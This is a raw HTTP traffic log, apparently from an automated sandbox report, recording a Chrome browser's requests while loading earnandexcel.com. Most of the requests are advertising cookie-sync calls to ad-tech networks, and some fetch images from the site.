Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=pubmatic&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=25F9549E-136A-47E9-9171-DA44C0E0D5E3 HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=gumgum&ttd_tpi=1&gdpr=&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19
Source: global traffic	HTTP traffic detected: GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=3371&partner_device_id=25F9549E-136A-47E9-9171-DA44C0E0D5E3 HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0; TapAd_3WAY_SYNCS=
Source: global traffic	HTTP traffic detected: GET /getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=M7R6vlCYsTbqpY9KrEX_pVqVX8T7y1DfK3tcAOOuFEFaL21T83bE11eRfruylz2jTUPUrcleGgzqu0prEjwLNpW-ZOUdHMy-ZB9aw3Bi5IE.; receive-cookie-deprecation=1; uuid2=3393848220146687847
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=gumgum HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=indexExchange&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=ZhhVo0t3uSsAAHTnAOvF5wAA%26020 HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
Source: global traffic	HTTP traffic detected: GET /xuid?mid=7976&xuid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&dongle=u6nf&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3952083078138885077332; tluid=3952083078138885077332
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA%3D%26piggybackCookie%3D%24UID%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=dWFSpNO-Okpofyg3daQX0m1HjZijP7Pun5MGtiXYUZRtc6ZsS5d4EihuSwKwFpk6I2dR2Own7GsTWVKZYxEYlhCNPMs0ZgwUL9OPfm_eWZ8.; uuid2=203013809340254297
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Excel-VBA-2-2-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
Source: global traffic	HTTP traffic detected: GET /deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 HTTP/1.1Host: hde.tynt.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uid=3nL6n2YYVaSqTujYTsdIDw==
Source: global traffic	HTTP traffic detected: GET /www/sovrn_beacon_standalone/sovrn_standalone_beacon.js?iid=12343702 HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/gumgum/?cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__&gdpr=&gdpr_consent=&puid=u_a4cb566c-d29c-481c-82f5-d657255d141b&s=2&us_privacy=1--- HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zuid=kW4WCHlLKZTPSmfVrwIg
Source: global traffic	HTTP traffic detected: GET /l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx%2025F9549E-136A-47E9-9171-DA44C0E0D5E3&rnd=RND HTTP/1.1Host: us01.z.antigena.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58294/sync?_origin=1&uid=2e900569-927a-06eb-1392-726f7eb2d7a0 HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dapn%26i%3D%24UID HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=M7R6vlCYsTbqpY9KrEX_pVqVX8T7y1DfK3tcAOOuFEFaL21T83bE11eRfruylz2jTUPUrcleGgzqu0prEjwLNpW-ZOUdHMy-ZB9aw3Bi5IE.; receive-cookie-deprecation=1; uuid2=3393848220146687847
Source: global traffic	HTTP traffic detected: GET /dcm?pid=3b882453-6770-4785-baf8-a598533c054a&id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&redir=true&gdpr=0&gdpr_consent= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/Power-Query-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/PowerPivot-1-480x304.jpg HTTP/1.1Host: earnandexcel.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
Source: global traffic	HTTP traffic detected: GET /usersync/redirect?partner=triplelift&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3952083078138885077332 HTTP/1.1Host: exchange.mediavine.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
